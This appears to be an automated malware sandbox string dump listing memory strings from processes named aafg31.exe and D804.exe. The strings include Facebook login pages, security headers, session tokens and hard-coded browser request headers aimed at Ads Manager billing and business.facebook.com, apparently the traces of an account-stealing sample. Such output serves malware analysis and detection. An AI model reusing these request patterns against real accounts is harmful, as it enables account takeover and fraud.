Source: D804.exe, 00000013.00000003.475594980.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)
Source: aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: content-security-policy-report-only: default-src data: blob: 'self' .fbcdn.net .facebook.com;script-src blob: data: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;style-src data: blob: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;connect-src adsmanager.facebook.com adsmanager-graph.facebook.com adsmanager.secure.facebook.com blob: 'self' .fbcdn.net rupload.facebook.com wss://gateway.facebook.com wss://edge-chat.facebook.com wss://edge-chat-latest.facebook.com https://edge-chat.facebook.com/mqtt/pull https://edge-chat-latest.facebook.com/mqtt/pull .facebook.com/rsrc.php/;font-src 'self' .facebook.com .fbcdn.net;img-src data: blob: 'self' .facebook.com .fbcdn.net .fbsbx.com .cdninstagram.com;media-src 'self' .facebook.com .fbcdn.net .fbsbx.com .cdninstagram.com;frame-src facebook.com .facebook.com fbwifigateway.net .fbwifigateway.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com cdninstagram.com .cdninstagram.com oculuscdn.com .oculuscdn.com www.meta.com *.www.meta.com ms-excel:;manifest-src data: blob: 'self';report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0; equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: content-security-policy: default-src data: blob: 'self' .fbcdn.net .facebook.com;script-src blob: data: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;style-src data: blob: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;connect-src adsmanager.facebook.com adsmanager-graph.facebook.com adsmanager.secure.facebook.com blob: 'self' 'unsafe-inline' 'unsafe-eval' .fbcdn.net rupload.facebook.com wss://gateway.facebook.com wss://edge-chat.facebook.com wss://edge-chat-latest.facebook.com https://edge-chat.facebook.com/mqtt/pull https://edge-chat-latest.facebook.com/mqtt/pull .facebook.com/rsrc.php/ .facebook.com;font-src 'self' .facebook.com .fbcdn.net;img-src data: blob: 'self' .facebook.com .fbcdn.net .fbsbx.com .cdninstagram.com;media-src 'self' .facebook.com .fbcdn.net .fbsbx.com .cdninstagram.com;frame-src facebook.com .facebook.com fbwifigateway.net .fbwifigateway.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com cdninstagram.com .cdninstagram.com oculuscdn.com .oculuscdn.com www.meta.com .www.meta.com ms-excel:;manifest-src data: blob: 'self';block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0; equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com:* wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ .fbsbx.com;font-src data: .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster: .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com data:;frame-src .facebook.com .fbsbx.com fbsbx.com data: .fbcdn.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0; equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.558924559.000001E292285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com:* wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ .fbsbx.com;font-src data: .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster: .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com data:;frame-src .facebook.com .fbsbx.com fbsbx.com data: .fbcdn.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0; equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: entSignalCollectionTrigger","startSignalCollection",[],[{sc:"{\"t\":1659080345,\"c\":[[30000,838801],[30001,838801],[30002,838801],[30003,838801],[30004,838801],[30005,838801],[30006,573585],[30007,838801],[30008,838801],[30012,838801],[30013,838801],[30015,806033],[30018,806033],[30021,540823],[30022,540817],[30040,806033],[30093,806033],[30094,806033],[30095,806033],[30101,541591],[30102,541591],[30103,541591],[30104,541591],[30106,806039],[30107,806039],[38000,541427],[38001,806643]]}",fds:60,fda:60,i:60,sbs:1,dbs:100,bbs:100,hbi:60,rt:262144,hbcbc:2,hbvbc:0,hbbi:30,sid:-1,hbv:"6041888917634349990"}]],["NavigationMetrics","setPage",[],[{page:"XWebLoginController",page_type:"normal",page_uri:"https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F",serverLID:"7238151194283337711"}]],["FalcoLoggerTransports","attach",[],[]],["ClickRefLogger"],["DetectBrokenProxyCache","run",[],[0,"c_user"]],["NavigationClickPointHandler"],["WebDevicePerfInfoLogging","doLog",[],[]],["WebStorageMonster","schedule",[],[]],["Artillery","disable",[],[]],["ScriptPathLogger","startLogging",[],[]],["TimeSpentBitArrayLogger","init",[],[]],["DeferredCookie","addToQueue",[],["_js_datr","KRRzZP8W8AECzgQbUYOd3IKm",63072000000,"/",true,false,true,".facebook.com"]],["DeferredCookie","addToQueue",[],["_js_sb","KRRzZDj7aOT7X84uQltSZg6C",63072000000,"/",false,false,true,".facebook.com"]],["TransportSelectingClientSingletonConditiona equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E2901D2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/@8 equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.643341224.000001E29227F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559711394.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2FtA: equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ow.r equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559711394.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.569051255.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.566066441.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com:443 equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E29016F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: ihttps://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E29016F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: ihttps://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F^ equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.632373221.000001E291FA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: iostreambad castbad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setinvalid stoi argumentstoi argument out of range^(([^:\/?#]+):)?(//([^\/?#:])(:([^\/?#]))?)?([^?#])(\?([^#]))?(#(.))?httphttps?POSTGET/device-based/loginContent-Type: application/x-www-form-urlencodedfacebooksec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"ed-exchange;v=b3;q=0.9ng,/;q=0.8,application/signapplication/xml;q=0.9,image/webp,image/apation/xhtml+xml,Accept: text/html,applic0.1,eu;q=0.1;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,anq=0.9;q=0.8,ja;q=0.7,af;Accept-Language: en,ion: keep-alivectConne/selectHost: business.facebook.comsec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Mode: navigate: ?1Sec-Fetch-Userest: documentSec-Fetch-Dame-originch-Site: sSec-Fet/accountsHost: adsmanager.facebook.com/ads/manager/account_settings/account_billingadsmanager.facebook.combusiness.facebook.comok.comceboHost: www.fabile: ?0a-mosec-ch-urm: "Windows"latfosec-ch-ua-polor-scheme: lightefers-csec-ch-precure-Requests: 1de-InsUpgraetch-Site: noneSec-Fode: navigateetch-Mer: ?1c-Fetch-UsSementest: docutch-DSec-Fe/v15.0/k.comcebooHost: graph.fadows": "Winsec-ch-ua-platform-urlencodedpplication/x-www-formContent-type: aept: /*AccaceboOrigin: https://www.fame-sitetch-Site: stch-Mode: corsmptych-Dest: eook.com///www.facebReferer: https:ook.comw.facebHost: wwobile: ?0-ch-ua-msecindows"a-platform: "Ws-color-scheme: lightprefersec-ch-equests: 1ecure-RUpgrade-InsSec-Fetch-Site: noneMode: navigateSec-Fetch-ser: ?1Sec-Fetch-Uentst: documSec-Fetch-DeSec-Fetch-Site: same-originCache-Control: max-age=0vector<bool> too longalnumalnumalphaalphablankblankcntrlcntrlddigitdigitgraphgraphlowerlowerprintprintpunctpunctspacespacesupperupperwwxdigitxdigitHq equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.635269175.000001E292110000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: iostreambad castbad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setinvalid stoi argumentstoi argument out of range^(([^:\/?#]+):)?(//([^\/?#:])(:([^\/?#]))?)?([^?#])(\?([^#]))?(#(.))?httphttps?POSTGET/device-based/loginContent-Type: application/x-www-form-urlencodedfacebooksec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"ed-exchange;v=b3;q=0.9ng,/;q=0.8,application/signapplication/xml;q=0.9,image/webp,image/apation/xhtml+xml,Accept: text/html,applic0.1,eu;q=0.1;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,anq=0.9;q=0.8,ja;q=0.7,af;Accept-Language: en,ion: keep-alivectConne/selectHost: business.facebook.comsec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Mode: navigate: ?1Sec-Fetch-Userest: documentSec-Fetch-Dame-originch-Site: sSec-Fet/accountsHost: adsmanager.facebook.com/ads/manager/account_settings/account_billingadsmanager.facebook.combusiness.facebook.comok.comceboHost: www.fabile: ?0a-mosec-ch-urm: "Windows"latfosec-ch-ua-polor-scheme: lightefers-csec-ch-precure-Requests: 1de-InsUpgraetch-Site: noneSec-Fode: navigateetch-Mer: ?1c-Fetch-UsSementest: docutch-DSec-Fe/v15.0/k.comcebooHost: graph.fadows": "Winsec-ch-ua-platform-urlencodedpplication/x-www-formContent-type: aept: /*AccaceboOrigin: https://www.fame-sitetch-Site: stch-Mode: corsmptych-Dest: eook.com///www.facebReferer: https:ook.comw.facebHost: wwobile: ?0-ch-ua-msecindows"a-platform: "Ws-color-scheme: lightprefersec-ch-equests: 1ecure-RUpgrade-InsSec-Fetch-Site: noneMode: navigateSec-Fetch-ser: ?1Sec-Fetch-Uentst: documSec-Fetch-DeSec-Fetch-Site: same-originCache-Control: max-age=0vector<bool> too longalnumalnumalphaalphablankblankcntrlcntrlddigitdigitgraphgraphlowerlowerprintprintpunctpunctspacespacesupperupperwwxdigitxdigitHq! equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559523108.000001E292290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: itle><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php? equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559523108.000001E292290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: itle><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?X equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E2901D2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: low the use of cookies by Facebook on this browser?\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_al50\">\u003Cdiv>\u003Cp>We use cookies and similar technologies to help provide and improve content on \u003Ca href=\"https:\/\/www.facebook.com\/help\/1561485474074139\" target=\"_blank\">Meta Products\u003C\/a>. We also use them to provide a safer experience by using information we receive from cookies on and off Facebook, and to provide and improve Meta Products for people who have an account.\u003C\/p>\u003Cul class=\"_al51\">\u003Cli class=\"_al52\">\u003Cspan class=\"_al53\">Essential cookies: These cookies are required to use Meta Products and are necessary for our sites to work as intended.\u003C\/span>\u003C\/li>\u003Cli class=\"_al52\">\u003Cspan class=\"_al53\">Cookies from other companies: We use these cookies to show you ads off of Meta Products and to provide features like maps and videos on Meta Products. These cookies are optional.\u003C\/span>\u003C\/li>\u003C\/ul>\u003Cp>You have control over the optional cookies we use. Learn more about cookies and how we use them, and review or change your choices at any time in our \u003Ca href=\"https:\/\/www.facebook.com\/privacy\/policies\/cookies\" id=\"cpn-pv-link\" target=\"_blank\">Cookies Policy\u003C\/a>.\u003C\/p>\u003Chr class=\"_al5e\" \/>\u003C\/div>\u003Cdiv>\u003Ch2>About cookies\u003C\/h2>\u003Cdiv class=\"_al5i\">\u003Cdiv class=\"_al4y\" title=\"What are cookies?\" id=\"u_0_9_Ai\">\u003Cimg sr equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: n this browser?\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_al50\">\u003Cdiv>\u003Cp>We use cookies and similar technologies to help provide and improve content on \u003Ca href=\"https:\/\/www.facebook.com\/help\/1561485474074139\" target=\"_blank\">Meta Products\u003C\/a>. We also use them to provide a safer experience by using information we receive from cookies on and off Facebook, and to provide and improve Meta Products for people who have an account.\u003C\/p>\u003Cul class=\"_al51\">\u003Cli class=\"_al52\">\u003Cspan class=\"_al53\">Essential cookies: These cookies are required to use Meta Products and are necessary for our sites to work as intended.\u003C\/span>\u003C\/li>\u003Cli class=\"_al52\">\u003Cspan class=\"_al53\">Cookies from other companies: We use these cookies to show you ads off of Meta Products and to provide features like maps and videos on Meta Products. These cookies are optional.\u003C\/span>\u003C\/li>\u003C\/ul>\u003Cp>You have control over the optional cookies we use. Learn more about cookies and how we use them, and review or change your choices at any time in our \u003Ca href=\"https:\/\/www.facebook.com\/privacy\/policies\/cookies\" id=\"cpn-pv-link\" target=\"_blank\">Cookies Policy\u003C\/a>.\u003C\/p>\u003Chr class=\"_al5e\" \/>\u003C\/div>\u003Cdiv>\u003Ch2>About cookies\u003C\/h2>\u003Cdiv class=\"_al5i\">\u003Cdiv class=\"_al4y\" title=\"What are cookies?\" id=\"u_0_9_uw\">\u003Cimg src=\"https:\/\/www.facebook.com\/imag equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.536338668.000001E292285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: n" id="meta_referrer" /><script nonce="v6hVXULl">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requireLazy?window.requireLazy(["Env"],b):(window.Env=window.Env\|\|{},b(window.Env))}envFlush({"useTrustedTypes":false,"isTrustedTypesReportOnly":false,"ajaxpipe_token":"AXjZ6wGXtfhJEKvvdLY","gk_instrument_object_url":true,"stack_trace_limit":30,"timesliceBufferSize":5000,"show_invariant_decoder":false,"compat_iframe_token":"AQ6iSpgOr5fQTsmSTo8","isCQuick":false});</script><script nonce="v6hVXULl">(function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="v6hVXULl"></style><script nonce="v6hVXULl">__DEV__=0;</script><noscript><meta http-equiv="refresh" content="0; URL=/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /><title id="pageTitle">Log into Facebook</title><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" /><meta property="og:locale" content="en_US" /><link rel="canonical" href="https://www.facebook.com/login/web/" /><link rel="icon" href="https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yP/l/0,cross/6MB_F4yiWj8.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="HLTHBFO" /> equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: olicy: default-src data: blob: 'self' .fbcdn.net .facebook.com;script-src blob: data: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;style-src data: blob: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;connect-src adsmanager.facebook.com adsmanager-graph.facebook.com adsmanager.secure.facebook.com blob: 'self' 'unsafe-inline' 'unsafe-eval' .fbcdn.net rupload.facebook.com wss://gateway.facebook.com wss://edge-chat.facebook.com wss://edge-chat-latest.facebook.com https://edge-chat.facebook.com/mqtt/pull https://edge-chat-latest.facebook.com/mqtt/pull .facebook.com/rsrc.php/ .facebook.com;font-src 'self' .facebook.com .fbcdn.net;img-src data: blob: 'self' .facebook.com .fbcdn.net .fbsbx.com .cdninstagram.com;media-src 'self' .facebook.com .fbcdn.net .fbsbx.com .cdninstagram.com;frame-src facebook.com .facebook.com fbwifigateway.net .fbwifigateway.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com cdninstagram.com .cdninstagram.com oculuscdn.com .oculuscdn.com www.meta.com .www.meta.com ms-excel:;manifest-src data: blob: 'self';block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0; equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ondsLoggerBlue"],{__rc:["TimeSpentImmediateActiveSecondsLoggerBlue","Aa1O99cfU-pkeTcPF2d6GbOH_9MHXdLzY8Tt-WmS59ZEsPOu2rt8QFcHQo4_cKauMK4uUqF8A-JTQHd4Z63JMM10ss4"]},-1],["cr:1187159",["BlueCompatBroker"],{__rc:["BlueCompatBroker","Aa1O99cfU-pkeTcPF2d6GbOH_9MHXdLzY8Tt-WmS59ZEsPOu2rt8QFcHQo4_cKauMK4uUqF8A-JTQHd4Z63JMM10ss4"]},-1],["cr:5800",[],{__rc:[null,"Aa2GmtElFOD_1k20G_WlsokZJaTpo56Fr3u1gCYGbAtgdDbYlT_CIgiavE0hts7cqrHeFP97Eno3VEpaEKBst4TUuO8"]},-1],["ImmediateActiveSecondsConfig",[],{sampling_rate:0},423]],require:[["BDClientSignalCollectionTrigger","startSignalCollection",[],[{sc:"{\"t\":1659080345,\"c\":[[30000,838801],[30001,838801],[30002,838801],[30003,838801],[30004,838801],[30005,838801],[30006,573585],[30007,838801],[30008,838801],[30012,838801],[30013,838801],[30015,806033],[30018,806033],[30021,540823],[30022,540817],[30040,806033],[30093,806033],[30094,806033],[30095,806033],[30101,541591],[30102,541591],[30103,541591],[30104,541591],[30106,806039],[30107,806039],[38000,541427],[38001,806643]]}",fds:60,fda:60,i:60,sbs:1,dbs:100,bbs:100,hbi:60,rt:262144,hbcbc:2,hbvbc:0,hbbi:30,sid:-1,hbv:"6041888917634349990"}]],["NavigationMetrics","setPage",[],[{page:"XWebLoginController",page_type:"normal",page_uri:"https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F",serverLID:"7238151240056680427"}]],["FalcoLoggerTransports","attach",[],[]],["ClickRefLogger"],["DetectBrokenProxyCache","run",[],[mHa$sR equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.616875927.000001E2922D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pipe_token":"AXjZ6wGXtfhJEKvvL80","gk_instrument_object_url":true,"stack_trace_limit":30,"timesliceBufferSize":5000,"show_invariant_decoder":false,"compat_iframe_token":"AQ6iSpgOr5fQTsmStDY","isCQuick":false});</script><script nonce="sjAjnDCw">(function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="sjAjnDCw"></style><script nonce="sjAjnDCw">__DEV__=0;</script><noscript><meta http-equiv="refresh" content="0; URL=/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /><title id="pageTitle">Log into Facebook</title><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" /><meta property="og:locale" content="en_US" /><link rel="canonical" href="https://www.facebook.com/login/web/" /><link rel="icon" href="https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yP/l/0,cross/6MB_F4yiWj8.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="HLTHBFO" /> equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.594664148.000001E292290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: poster: .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com data:;frame-src .facebook.com .fbsbx.com fbsbx.com data: .fbcdn.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0; equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.569252099.000001E2901D5000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.618169870.000001E2901D2000.00000004.00000001.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.539122814.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.616407141.000001E2922EB000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559711394.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.593963921.000001E2922EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E290161000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com' equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559711394.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.569051255.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.566066441.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com.\ equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E29016F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com2F equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E2901D2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com3:X equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.558924559.000001E292285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com5 equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.642437211.000001E292246000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com:443/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559711394.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com?\ equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E2901A6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com@\ equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E29016F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comF equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E2900FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comHTEP equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E2900FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comhtep equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559161122.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comok.com equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.616407141.000001E2922BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: zy(["Env"],b):(window.Env=window.Env\|\|{},b(window.Env))}envFlush({"useTrustedTypes":false,"isTrustedTypesReportOnly":false,"ajaxpipe_token":"AXjZ6wGXtfhJEKvvL80","gk_instrument_object_url":true,"stack_trace_limit":30,"timesliceBufferSize":5000,"show_invariant_decoder":false,"compat_iframe_token":"AQ6iSpgOr5fQTsmStDY","isCQuick":false});</script><script nonce="sjAjnDCw">(function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="sjAjnDCw"></style><script nonce="sjAjnDCw">__DEV__=0;</script><noscript><meta http-equiv="refresh" content="0; URL=/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /><title id="pageTitle">Log into Facebook</title><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and 